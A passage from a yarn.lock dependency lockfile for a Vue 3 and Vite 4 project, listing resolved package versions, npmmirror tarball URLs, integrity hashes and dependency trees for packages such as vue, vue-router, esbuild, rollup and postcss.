resolved "https://registry.npmmirror.com/@vue/devtools-api/-/devtools-api-6.6.4.tgz#cbe97fe0162b365edc1dba80e173f90492535343"
integrity sha512-sGhTPMuXqZ1rVOk32RylztWkfXTRhuS7vgAKv0zjqk8gbsHkJ7xfFf+jbySxt7tWObEJwyKaHMikV/WGDiQm8g==
"@vue/reactivity@3.5.17":
version "3.5.17"
resolved "https://registry.npmmirror.com/@vue/reactivity/-/reactivity-3.5.17.tgz#169b5dcf96c7f23788e5ed9745ec8a7227f2125e"
integrity sha512-l/rmw2STIscWi7SNJp708FK4Kofs97zc/5aEPQh4bOsReD/8ICuBcEmS7KGwDj5ODQLYWVN2lNibKJL1z5b+Lw==
dependencies:
"@vue/shared" "3.5.17"
"@vue/runtime-core@3.5.17":
version "3.5.17"
resolved "https://registry.npmmirror.com/@vue/runtime-core/-/runtime-core-3.5.17.tgz#b17bd41e13011e85e9b1025545292d43f5512730"
integrity sha512-QQLXa20dHg1R0ri4bjKeGFKEkJA7MMBxrKo2G+gJikmumRS7PTD4BOU9FKrDQWMKowz7frJJGqBffYMgQYS96Q==
dependencies:
"@vue/reactivity" "3.5.17"
"@vue/shared" "3.5.17"
"@vue/runtime-dom@3.5.17":
version "3.5.17"
resolved "https://registry.npmmirror.com/@vue/runtime-dom/-/runtime-dom-3.5.17.tgz#8e325e29cd03097fe179032fc8df384a426fc83a"
integrity sha512-8El0M60TcwZ1QMz4/os2MdlQECgGoVHPuLnQBU3m9h3gdNRW9xRmI8iLS4t/22OQlOE6aJvNNlBiCzPHur4H9g==
dependencies:
"@vue/reactivity" "3.5.17"
"@vue/runtime-core" "3.5.17"
"@vue/shared" "3.5.17"
csstype "^3.1.3"
"@vue/server-renderer@3.5.17":
version "3.5.17"
resolved "https://registry.npmmirror.com/@vue/server-renderer/-/server-renderer-3.5.17.tgz#9b8fd6a40a3d55322509fafe78ac841ede649fbe"
integrity sha512-BOHhm8HalujY6lmC3DbqF6uXN/K00uWiEeF22LfEsm9Q93XeJ/plHTepGwf6tqFcF7GA5oGSSAAUock3VvzaCA==
dependencies:
"@vue/compiler-ssr" "3.5.17"
"@vue/shared" "3.5.17"
"@vue/shared@3.5.17":
version "3.5.17"
resolved "https://registry.npmmirror.com/@vue/shared/-/shared-3.5.17.tgz#e8b3a41f0be76499882a89e8ed40d86a70fa4b70"
integrity sha512-CabR+UN630VnsJO/jHWYBC1YVXyMq94KKp6iF5MQgZJs5I8cmjw6oVMO1oDbtBkENSHSSn/UadWlW/OAgdmKrg==
csstype@^3.1.3:
version "3.1.3"
resolved "https://registry.npmmirror.com/csstype/-/csstype-3.1.3.tgz#d80ff294d114fb0e6ac500fbf85b60137d7eff81"
integrity sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==
entities@^4.5.0:
version "4.5.0"
resolved "https://registry.npmmirror.com/entities/-/entities-4.5.0.tgz#5d268ea5e7113ec74c4d033b79ea5a35a488fb48"
integrity sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==
esbuild@^0.18.10:
version "0.18.20"
resolved "https://registry.npmmirror.com/esbuild/-/esbuild-0.18.20.tgz#4709f5a34801b43b799ab7d6d82f7284a9b7a7a6"
integrity sha512-ceqxoedUrcayh7Y7ZX6NdbbDzGROiyVBgC4PriJThBKSVPWnnFHZAkfI1lJT8QFkOwH4qOS2SJkS4wvpGl8BpA==
optionalDependencies:
"@esbuild/android-arm" "0.18.20"
"@esbuild/android-arm64" "0.18.20"
"@esbuild/android-x64" "0.18.20"
"@esbuild/darwin-arm64" "0.18.20"
"@esbuild/darwin-x64" "0.18.20"
"@esbuild/freebsd-arm64" "0.18.20"
"@esbuild/freebsd-x64" "0.18.20"
"@esbuild/linux-arm" "0.18.20"
"@esbuild/linux-arm64" "0.18.20"
"@esbuild/linux-ia32" "0.18.20"
"@esbuild/linux-loong64" "0.18.20"
"@esbuild/linux-mips64el" "0.18.20"
"@esbuild/linux-ppc64" "0.18.20"
"@esbuild/linux-riscv64" "0.18.20"
"@esbuild/linux-s390x" "0.18.20"
"@esbuild/linux-x64" "0.18.20"
"@esbuild/netbsd-x64" "0.18.20"
"@esbuild/openbsd-x64" "0.18.20"
"@esbuild/sunos-x64" "0.18.20"
"@esbuild/win32-arm64" "0.18.20"
"@esbuild/win32-ia32" "0.18.20"
"@esbuild/win32-x64" "0.18.20"
estree-walker@^2.0.2:
version "2.0.2"
resolved "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz#52f010178c2a4c117a7757cfe942adb7d2da4cac"
integrity sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==
fsevents@~2.3.2:
version "2.3.3"
resolved "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz#cac6407785d03675a2a5e1a5305c697b347d90d6"
integrity sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==
magic-string@^0.30.17:
version "0.30.17"
resolved "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.17.tgz#450a449673d2460e5bbcfba9a61916a1714c7453"
integrity sha512-sNPKHvyjVf7gyjwS4xGTaW/mCnF8wnjtifKBEhxfZ7E/S8tQ0rssrwGNn6q8JH/ohItJfSQp9mBtQYuTlH5QnA==
dependencies:
"@jridgewell/sourcemap-codec" "^1.5.0"
nanoid@^3.3.11:
version "3.3.11"
resolved "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.11.tgz#4f4f112cefbe303202f2199838128936266d185b"
integrity sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==
picocolors@^1.1.1:
version "1.1.1"
resolved "https://registry.npmmirror.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b"
integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==
postcss@^8.4.27, postcss@^8.5.6:
version "8.5.6"
resolved "https://registry.npmmirror.com/postcss/-/postcss-8.5.6.tgz#2825006615a619b4f62a9e7426cc120b349a8f3c"
integrity sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==
dependencies:
nanoid "^3.3.11"
picocolors "^1.1.1"
source-map-js "^1.2.1"
rollup@^3.27.1:
version "3.29.5"
resolved "https://registry.npmmirror.com/rollup/-/rollup-3.29.5.tgz#8a2e477a758b520fb78daf04bca4c522c1da8a54"
integrity sha512-GVsDdsbJzzy4S/v3dqWPJ7EfvZJfCHiDqe80IyrF59LYuP+e6U1LJoUqeuqRbwAWoMNoXivMNeNAOf5E22VA1w==
optionalDependencies:
fsevents "~2.3.2"
source-map-js@^1.2.1:
version "1.2.1"
resolved "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.2.1.tgz#1ce5650fddd87abc099eda37dcff024c2667ae46"
integrity sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==
vite@^4.0.0:
version "4.5.14"
resolved "https://registry.npmmirror.com/vite/-/vite-4.5.14.tgz#2e652bc1d898265d987d6543ce866ecd65fa4086"
integrity sha512-+v57oAaoYNnO3hIu5Z/tJRZjq5aHM2zDve9YZ8HngVHbhk66RStobhb1sqPMIPEleV6cNKYK4eGrAbE9Ulbl2g==
dependencies:
esbuild "^0.18.10"
postcss "^8.4.27"
rollup "^3.27.1"
optionalDependencies:
fsevents "~2.3.2"
vue-router@^4.5.1:
version "4.5.1"
resolved "https://registry.npmmirror.com/vue-router/-/vue-router-4.5.1.tgz#47bffe2d3a5479d2886a9a244547a853aa0abf69"
integrity sha512-ogAF3P97NPm8fJsE4by9dwSYtDwXIY1nFY9T6DyQnGHd1E2Da94w9JIolpe42LJGIl0DwOHBi8TcRPlPGwbTtw==
dependencies:
"@vue/devtools-api" "^6.6.4"
vue@^3.3.0:
version "3.5.17"
resolved "https://registry.npmmirror.com/vue/-/vue-3.5.17.tgz#ea8a6a45abb2b0620e7d479319ce8434b55650cf"
integrity sha512-LbHV3xPN9BeljML+Xctq4lbz2lVHCR6DtbpTf5XIO6gugpXUN49j2QQPcMj086r9+AkJ0FfUT8xjulKKBkkr9g==
dependencies:
"@vue/compiler-dom" "3.5.17"
"@vue/compiler-sfc" "3.5.17"
"@vue/runtime-dom" "3.5.17"
"@vue/server-renderer" "3.5.17"
"@vue/shared" "3.5.17"